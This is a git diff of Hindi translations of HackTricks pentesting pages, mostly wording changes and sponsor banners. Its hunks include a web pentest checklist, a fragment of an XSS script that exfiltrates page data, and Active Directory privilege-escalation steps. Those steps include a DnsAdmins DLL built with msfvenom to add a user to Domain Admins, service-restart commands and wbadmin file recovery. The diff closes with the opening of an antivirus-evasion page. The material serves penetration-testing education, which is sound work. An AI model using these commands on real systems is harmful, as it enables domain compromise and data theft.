हर वेब पेंटेस्ट में, **कई छिपी हुई और स्पष्ट जगहें हो सकती हैं जो कमजोर हो सकती हैं।** यह पोस्ट एक चेकलिस्ट के रूप में है ताकि यह पुष्टि की जा सके कि आपने सभी संभावित स्थानों पर कमजोरियों की खोज की है।
## प्रॉक्सी
@ -28,7 +37,7 @@ GCP हैकिंग सीखें और अभ्यास करें: <
* [ ] [**HTTP अनुरोध स्मगलिंग**](http-request-smuggling/)
* [ ] [**H2C स्मगलिंग**](h2c-smuggling.md)
* [ ] [**सर्वर साइड समावेशन/एज साइड समावेशन**](server-side-inclusion-edge-side-inclusion-injection.md)
* [ ] [**क्लाउडफ्लेयर का अनावरण**](../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
* [ ] [**Cloudflare का अनावरण करना**](../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
* [ ] [**XSLT सर्वर साइड इंजेक्शन**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
* [ ] [**प्रॉक्सी / WAF सुरक्षा बायपास**](proxy-waf-protections-bypass.md)
@ -36,7 +45,7 @@ GCP हैकिंग सीखें और अभ्यास करें: <
{% hint style="info" %}
अधिकांश वेब एप्लिकेशन **उपयोगकर्ताओं को कुछ डेटा इनपुट करने की अनुमति देंगे जिसे बाद में संसाधित किया जाएगा।**\
डेटा की संरचना के आधार पर, सर्वर कुछ कमजोरियों की अपेक्षा कर सकता है या नहीं कर सकता है
डेटा की संरचना के आधार पर, सर्वर कुछ कमजोरियों की अपेक्षा कर रहा है जो लागू हो सकती हैं या नहीं
{% endhint %}
### **प्रतिबिंबित मान**
@ -67,7 +76,7 @@ GCP हैकिंग सीखें और अभ्यास करें: <
### **खोज कार्यक्षमताएँ**
यदि कार्यक्षमता का उपयोग बैकएंड में किसी प्रकार के डेटा की खोज के लिए किया जा सकता है, तो शायद आप इसे मनमाने डेटा की खोज के लिए (दुरुपयोग) कर सकते हैं।
यदि कार्यक्षमता का उपयोग बैकएंड के भीतर किसी प्रकार के डेटा को खोजने के लिए किया जा सकता है, तो शायद आप इसे मनमाने डेटा को खोजने के लिए (दुरुपयोग) कर सकते हैं।
* [ ] [**फाइल समावेशन/पथTraversal**](file-inclusion/)
* [ ] [**NoSQL इंजेक्शन**](nosql-injection.md)
@ -95,7 +104,7 @@ GCP हैकिंग सीखें और अभ्यास करें: <
### **बायपास**
कुछ विशिष्ट कार्यक्षमताएँ हैं जहाँ कुछ वर्कअराउंड्स उनके बायपास करने के लिए उपयोगी हो सकते हैं
कुछ विशिष्ट कार्यक्षमताएँ हैं जहाँ कुछ वर्कअराउंड बायपास करने के लिए उपयोगी हो सकते हैं
* [ ] [**2FA/OTP बायपास**](2fa-bypass.md)
* [ ] [**भुगतान प्रक्रिया बायपास**](bypass-payment-process.md)
@ -108,19 +117,19 @@ GCP हैकिंग सीखें और अभ्यास करें: <
### **संरचित वस्तुएँ / विशिष्ट कार्यक्षमताएँ**
कुछ कार्यक्षमताओं के लिए **डेटा को एक बहुत विशिष्ट प्रारूप में संरचित करने की आवश्यकता होती है** (जैसे एक भाषा सीरियलाइज्ड ऑब्जेक्ट या XML)। इसलिए, यह पहचानना आसान है कि क्या एप्लिकेशन कमजोर हो सकता है क्योंकि इसे उस प्रकार के डेटा को संसाधित करना होगा।\
कुछ कार्यक्षमताओं के लिए **डेटा को एक बहुत विशिष्ट प्रारूप में संरचित करने की आवश्यकता होगी** (जैसे एक भाषा सीरियलाइज्ड ऑब्जेक्ट या XML)। इसलिए, यह पहचानना आसान है कि क्या एप्लिकेशन कमजोर हो सकता है क्योंकि इसे उस प्रकार के डेटा को संसाधित करना होगा।\
कुछ **विशिष्ट कार्यक्षमताएँ** भी कमजोर हो सकती हैं यदि **इनपुट का एक विशिष्ट प्रारूप उपयोग किया जाता है** (जैसे ईमेल हेडर इंजेक्शन)।
* [ ] [**डिसेरियलाइजेशन**](deserialization/)
* [ ] [**डसिरियलाइजेशन**](deserialization/)
* [ ] [**ईमेल हेडर इंजेक्शन**](email-injections.md)
* [ ] [**JWT कमजोरियाँ**](hacking-jwt-json-web-tokens.md)
* [ ] [**XML एक्सटर्नल एंटिटी**](xxe-xee-xml-external-entity.md)
### फाइलें
### फाइलें
फंक्शनलिटीज जो फाइलें अपलोड करने की अनुमति देती हैं, कई मुद्दों के लिए कमजोर हो सकती हैं।\
फंक्शनलिटीज जो उपयोगकर्ता इनपुट सहित फाइलें उत्पन्न करती हैं, अप्रत्याशित कोड निष्पादित कर सकती हैं।\
उपयोगकर्ता जो उपयोगकर्ताओं द्वारा अपलोड की गई फाइलें या स्वचालित रूप से उत्पन्न फाइलें खोलते हैं, वे समझौता हो सकते हैं।
फंक्शनलिटीज जो फाइलें अपलोड करने की अनुमति देती हैं, कई मुद्दों के लिए कमजोर हो सकती हैं।\
फंक्शनलिटीज जो उपयोगकर्ता इनपुट सहित फाइलें उत्पन्न करती हैं, अप्रत्याशित कोड निष्पादित कर सकती हैं।\
उपयोगकर्ता जो उपयोगकर्ताओं द्वारा अपलोड की गई फाइलें या स्वचालित रूप से उत्पन्न फाइलें खोलते हैं, वे समझौता किए जा सकते हैं।
* [ ] [**फाइल अपलोड**](file-upload/)
* [ ] [**फॉर्मूला इंजेक्शन**](formula-csv-doc-latex-ghostscript-injection.md)
@ -141,6 +150,16 @@ GCP हैकिंग सीखें और अभ्यास करें: <
* [ ] [**पैरामीटर प्रदूषण**](parameter-pollution.md)
* [ ] [**यूनिकोड सामान्यीकरण की कमजोरी**](unicode-injection/)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### अपने वेब ऐप्स, नेटवर्क और क्लाउड पर एक हैकर का दृष्टिकोण प्राप्त करें
**महत्वपूर्ण, शोषण योग्य कमजोरियों को खोजें और रिपोर्ट करें जिनका वास्तविक व्यावसायिक प्रभाव है।** हमारे 20+ कस्टम टूल का उपयोग करें ताकि हमले की सतह का मानचित्रण कर सकें, सुरक्षा मुद्दों को खोजें जो आपको विशेषाधिकार बढ़ाने की अनुमति देते हैं, और आवश्यक साक्ष्य एकत्र करने के लिए स्वचालित शोषण का उपयोग करें, जिससे आपका कठिन काम प्रभावशाली रिपोर्टों में बदल जाए।
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -149,7 +168,7 @@ GCP हैकिंग सीखें और अभ्यास करें: <
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।

View file

@ -7,11 +7,15 @@
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
```javascript
// SELECT HERE THE EXFILTRATION MODE (more than 1 can be selected)
// If any GET method is selected (like location or RQ_GET), it's recommended to exfiltrate each info 1 by 1
@ -119,6 +123,10 @@ window.onmessage = function(e){
exfil_info("onmessage", encode(e.data))
}
```
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -128,7 +136,7 @@ exfil_info("onmessage", encode(e.data))
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>

View file

@ -15,6 +15,13 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
## Well Known groups with administration privileges
* **Administrators**
@ -29,13 +36,13 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
```powershell
Get-NetGroupMember -Identity "Account Operators" -Recurse
```
नए उपयोगकर्ताओं को जोड़ने की अनुमति है, साथ ही DC01 पर स्थानीय लॉगिन भी।
नए उपयोगकर्ताओं को जोड़न अनुमति है, साथ ही DC01 पर स्थानीय लॉगिन भी।
## AdminSDHolder समूह
**AdminSDHolder** समूह की एक्सेस कंट्रोल लिस्ट (ACL) महत्वपूर्ण है क्योंकि यह सक्रिय निर्देशिका के भीतर सभी "संरक्षित समूहों" के लिए अनुमतियाँ सेट करती है, जिसमें उच्च-privilege समूह शामिल हैं। यह तंत्र इन समूहों की सुरक्षा सुनिश्चित करता है, जिससे अनधिकृत संशोधनों को रोका जा सके।
एक हमलावर इसको **AdminSDHolder** समूह की ACL को संशोधित करके भुनाने का प्रयास कर सकता है, जिससे एक मानक उपयोगकर्ता को पूर्ण अनुमतियाँ मिल जाएँगी। इससे उस उपयोगकर्ता को सभी संरक्षित समूहों पर पूर्ण नियंत्रण मिल जाएगा। यदि इस उपयोगकर्ता की अनुमतियाँ संशोधित या हटा दी जाती हैं, तो उन्हें सिस्टम के डिज़ाइन के कारण एक घंटे के भीतर स्वचालित रूप से पुनर्स्थापित कर दिया जाएगा।
एक हमलावर इसको **AdminSDHolder** समूह की ACL को संशोधित करके भुनाने की कोशिश कर सकता है, जिससे एक मानक उपयोगकर्ता को पूर्ण अनुमतियाँ मिल जाएँगी। इससे उस उपयोगकर्ता को सभी संरक्षित समूहों पर पूर्ण नियंत्रण मिल जाएगा। यदि इस उपयोगकर्ता की अनुमतियाँ बदली या हटा दी जाती हैं, तो उन्हें सिस्टम के डिज़ाइन के कारण एक घंटे के भीतर स्वचालित रूप से पुनर्स्थापित कर दिया जाएगा।
सदस्यों की समीक्षा करने और अनुमतियों को संशोधित करने के लिए आदेश शामिल हैं:
```powershell
@ -59,7 +66,7 @@ DC पर फ़ाइलों तक पहुँच प्रतिबंध
### Privilege Escalation
Sysinternals से `PsService` या `sc` का उपयोग करके, कोई सेवा अनुमतियों का निरीक्षण और संशोधन कर सकता है। उदाहरण के लिए, `Server Operators` समूह के पास कुछ सेवाओं पर पूर्ण नियंत्रण होता है, जो मनमाने आदेशों के निष्पादन और विशेषाधिकार वृद्धि की अनुमति देता है:
Sysinternals से `PsService` या `sc` का उपयोग करके, कोई सेवा अनुमतियों की जांच और संशोधन कर सकता है। उदाहरण के लिए, `Server Operators` समूह के पास कुछ सेवाओं पर पूर्ण नियंत्रण होता है, जो मनमाने आदेशों के निष्पादन और विशेषाधिकार वृद्धि की अनुमति देता है:
```cmd
C:\> .\PsService.exe security AppReadiness
```
@ -73,7 +80,7 @@ C:\> .\PsService.exe security AppReadiness
```powershell
Get-NetGroupMember -Identity "Backup Operators" -Recurse
```
### स्थानीय हमला
### Local Attack
इन विशेषाधिकारों का स्थानीय रूप से लाभ उठाने के लिए, निम्नलिखित चरणों का उपयोग किया जाता है:
@ -143,7 +150,7 @@ echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\
## DnsAdmins
**DnsAdmins** समूह के सदस्य अपने विशेषाधिकारों का उपयोग करके DNS सर्वर पर SYSTEM विशेषाधिकारों के साथ एक मनमाना DLL लोड कर सकते हैं, जो अक्सर डोमेन कंट्रोलर्स पर होस्ट किया जाता है। यह क्षमता महत्वपूर्ण शोषण संभावनाओं की अनुमति देती है।
**DnsAdmins** समूह के सदस्य अपने विशेषाधिकारों का उपयोग करके DNS सर्वर पर SYSTEM विशेषाधिकारों के साथ एक मनमाना DLL लोड कर सकते हैं, जो अक्सर डोमेन कंट्रोलर्स पर होस्ट किया जाता है। यह क्षमता महत्वपूर्ण शोषण की संभावना की अनुमति देती है।
DnsAdmins समूह के सदस्यों की सूची बनाने के लिए, उपयोग करें:
```powershell
@ -171,7 +178,7 @@ system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /doma
// Generate DLL with msfvenom
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll
```
DNS सेवा को पुनरारंभ करना (जिसके लिए अतिरिक्त अनुमतियों की आवश्यकता हो सकती है) DLL को लोड करने के लिए आवश्यक है:
DNS सेवा को पुन प्रारंभ करना (जिसके लिए अतिरिक्त अनुमतियों की आवश्यकता हो सकती है) DLL को लोड करने के लिए आवश्यक है:
```csharp
sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns
@ -182,17 +189,17 @@ For more details on this attack vector, refer to ired.team.
यह भी संभव है कि कमांड निष्पादन के लिए mimilib.dll का उपयोग किया जाए, इसे विशिष्ट कमांड या रिवर्स शेल निष्पादित करने के लिए संशोधित किया जाए। [इस पोस्ट को देखें](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) अधिक जानकारी के लिए।
### WPAD Record for MitM
DnsAdmins DNS रिकॉर्ड को मैन-इन-द-मिडल (MitM) हमलों को करने के लिए हेरफेर कर सकते हैं, वैश्विक क्वेरी ब्लॉक सूची को अक्षम करने के बाद WPAD रिकॉर्ड बनाकर। स्पूफिंग और नेटवर्क ट्रैफ़िक कैप्चर करने के लिए Responder या Inveigh जैसे उपकरणों का उपयोग किया जा सकता है।
DnsAdmins DNS रिकॉर्ड को मैन-इन-द-मिडल (MitM) हमलों को करने के लिए हेरफेर कर सकते हैं, वैश्विक क्वेरी ब्लॉक सूची को अक्षम करने के बाद WPAD रिकॉर्ड बनाकर। Responder या Inveigh जैसे उपकरणों का उपयोग स्पूफिंग और नेटवर्क ट्रैफ़िक कैप्चर करने के लिए किया जा सकता है।
### Event Log Readers
सदस्य इवेंट लॉग्स तक पहुँच सकते हैं, संभावित रूप से संवेदनशील जानकारी जैसे कि प्लेनटेक्स्ट पासवर्ड या कमांड निष्पादन विवरण पा सकते हैं:
सदस्य इवेंट लॉग्स तक पहुँच सकते हैं, संभावित रूप से संवेदनशील जानकारी जैसे कि प्लेनटेक्स्ट पासवर्ड या कमांड निष्पादन विवरण खोज सकते हैं:
```powershell
# Get members and search logs for sensitive information
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}
```
## Exchange Windows Permissions
यह समूह डोमेन ऑब्जेक्ट पर DACLs को संशोधित कर सकता है, संभावित रूप से DCSync विशेषाधिकार प्रदान कर सकता है। इस समूह का उपयोग करके विशेषाधिकार वृद्धि के लिए तकनीकों का विवरण Exchange-AD-Privesc GitHub रिपॉजिटरी में दिया गया है।
यह समूह डोमेन ऑब्जेक्ट पर DACLs को संशोधित कर सकता है, संभावित रूप से DCSync विशेषाधिकार प्रदान कर सकता है। इस समूह का लाभ उठाकर विशेषाधिकार वृद्धि के लिए तकनीकों का विवरण Exchange-AD-Privesc GitHub repo में दिया गया है।
```powershell
# List members
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse
@ -211,12 +218,12 @@ Note: हार्ड लिंक शोषण हाल के Windows अप
## संगठन प्रबंधन
उन वातावरणों में जहां **Microsoft Exchange** तैनात है, एक विशेष समूह जिसे **संगठन प्रबंधन** कहा जाता है, महत्वपूर्ण क्षमताएँ रखता है। यह समूह **सभी डोमेन उपयोगकर्ताओं के मेलबॉक्सों तक पहुँच** प्राप्त करने के लिए विशेषाधिकार प्राप्त है और **'Microsoft Exchange सुरक्षा समूहों'** संगठनात्मक इकाई (OU) पर **पूर्ण नियंत्रण** बनाए रखता है। इस नियंत्रण में **`Exchange Windows Permissions`** समूह शामिल है, जिसका उपयोग विशेषाधिकार वृद्धि के लिए किया जा सकता है।
उन वातावरणों में जहां **Microsoft Exchange** तैनात है, एक विशेष समूह जिसे **संगठन प्रबंधन** कहा जाता है, महत्वपूर्ण क्षमताएँ रखता है। यह समूह **सभी डोमेन उपयोगकर्ताओं के मेलबॉक्सों तक पहुँचने** के लिए विशेषाधिकार प्राप्त है और **'Microsoft Exchange सुरक्षा समूहों'** संगठनात्मक इकाई (OU) पर **पूर्ण नियंत्रण** बनाए रखता है। इस नियंत्रण में **`Exchange Windows Permissions`** समूह शामिल है, जिसका उपयोग विशेषाधिकार वृद्धि के लिए किया जा सकता है।
### विशेषाधिकार शोषण और कमांड
#### प्रिंट ऑपरेटर
**प्रिंट ऑपरेटर** समूह के सदस्यों को कई विशेषाधिकार प्राप्त होते हैं, जिसमें **`SeLoadDriverPrivilege`** शामिल है, जो उन्हें **डोमेन कंट्रोलर पर स्थानीय रूप से लॉग ऑन** करने, उसे बंद करने और प्रिंटर प्रबंधित करने की अनुमति देता है। इन विशेषाधिकारों का शोषण करने के लिए, विशेष रूप से यदि **`SeLoadDriverPrivilege`** एक अव्यवस्थित संदर्भ के तहत दिखाई नहीं देता है, तो उपयोगकर्ता खाता नियंत्रण (UAC) को बायपास करना आवश्यक है।
**प्रिंट ऑपरेटर** समूह के सदस्यों को कई विशेषाधिकार प्राप्त होते हैं, जिसमें **`SeLoadDriverPrivilege`** शामिल है, जो उन्हें **डोमेन कंट्रोलर पर स्थानीय रूप से लॉग इन करने**, उसे बंद करने और प्रिंटर प्रबंधित करने की अनुमति देता है। इन विशेषाधिकारों का शोषण करने के लिए, विशेष रूप से यदि **`SeLoadDriverPrivilege`** एक निम्न स्तर के संदर्भ में दिखाई नहीं देता है, तो उपयोगकर्ता खाता नियंत्रण (UAC) को बायपास करना आवश्यक है।
इस समूह के सदस्यों की सूची बनाने के लिए, निम्नलिखित PowerShell कमांड का उपयोग किया जाता है:
```powershell
@ -225,7 +232,7 @@ Get-NetGroupMember -Identity "Print Operators" -Recurse
For more detailed exploitation techniques related to **`SeLoadDriverPrivilege`**, one should consult specific security resources.
#### Remote Desktop Users
इस समूह के सदस्यों को रिमोट डेस्कटॉप प्रोटोकॉल (RDP) के माध्यम से PCs तक पहुंच दी जाती है। इन सदस्यों की गणना करने के लिए, PowerShell कमांड उपलब्ध हैं:
इस समूह के सदस्यों को रिमोट डेस्कटॉप प्रोटोकॉल (RDP) के माध्यम से PCs तक पहुंच प्राप्त होती है। इन सदस्यों की गणना करने के लिए, PowerShell कमांड उपलब्ध हैं:
```powershell
Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"
@ -241,7 +248,7 @@ Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Us
For exploitation techniques related to **WinRM**, specific documentation should be consulted.
#### Server Operators
यह समूह डोमेन नियंत्रकों पर विभिन्न कॉन्फ़िगरेशन करने के लिए अनुमतियाँ रखता है, जिसमें बैकअप और पुनर्स्थापना अधिकार, सिस्टम समय बदलना, और सिस्टम को बंद करना शामिल है। सदस्यों की गणना करने के लिए, प्रदान किया गया आदेश है:
यह समूह डोमेन कंट्रोलर्स पर विभिन्न कॉन्फ़िगरेशन करने के लिए अनुमतियाँ रखता है, जिसमें बैकअप और पुनर्स्थापना की अनुमतियाँ, सिस्टम समय बदलना, और सिस्टम को बंद करना शामिल है। सदस्यों की गणना करने के लिए, प्रदान किया गया कमांड है:
```powershell
Get-NetGroupMember -Identity "Server Operators" -Recurse
```
@ -262,17 +269,24 @@ Get-NetGroupMember -Identity "Server Operators" -Recurse
* [https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e](https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e)
* [https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html)
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
{% hint style="success" %}
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks का समर्थन करें</summary>
<summary>Support HackTricks</summary>
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,89 +1,95 @@
# Antivirus (AV) Bypass
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>HackTricks का समर्थन करें</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}
**यह पृष्ठ लिखा गया है** [**@m2rc\_p**](https://twitter.com/m2rc\_p)**!**
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
## **AV Evasion Methodology**
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहेक करने योग्य को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_).
वर्तमान में, AV विभिन्न तरीकों का उपयोग करते हैं यह जांचने के लिए कि क्या एक फ़ाइल दुर्भावनापूर्ण है या नहीं, स्थैतिक पहचान, गतिशील विश्लेषण, और अधिक उन्नत EDRs के लिए, व्यवहारात्मक विश्लेषण।
{% embed url="https://www.stmcyber.com/careers" %}
### **Static detection**
**यह पृष्ठ लिखा गया है** [**@m2rc\_p**](https://twitter.com/m2rc\_p)** द्वारा!**
स्थैतिक पहचान ज्ञात दुर्भावनापूर्ण स्ट्रिंग्स या बाइट्स के एरे को एक बाइनरी या स्क्रिप्ट में फ्लैग करके प्राप्त की जाती है, और फ़ाइल से जानकारी निकालने के लिए (जैसे फ़ाइल विवरण, कंपनी का नाम, डिजिटल हस्ताक्षर, आइकन, चेकसम, आदि)। इसका मतलब है कि ज्ञात सार्वजनिक उपकरणों का उपयोग करने से आपको अधिक आसानी से पकड़ा जा सकता है, क्योंकि उन्हें शायद विश्लेषित किया गया है और दुर्भावनापूर्ण के रूप में फ्लैग किया गया है। इस प्रकार की पहचान से बचने के कुछ तरीके हैं:
## **AV बचाव पद्धति**
* **Encryption**
वर्तमान में, AV विभिन्न तरीकों का उपयोग करते हैं यह जांचने के लिए कि क्या एक फ़ाइल दुर्भावनापूर्ण है या नहीं, स्थिर पहचान, गतिशील विश्लेषण, और अधिक उन्नत EDRs के लिए, व्यवहारात्मक विश्लेषण।
### **स्थिर पहचान**
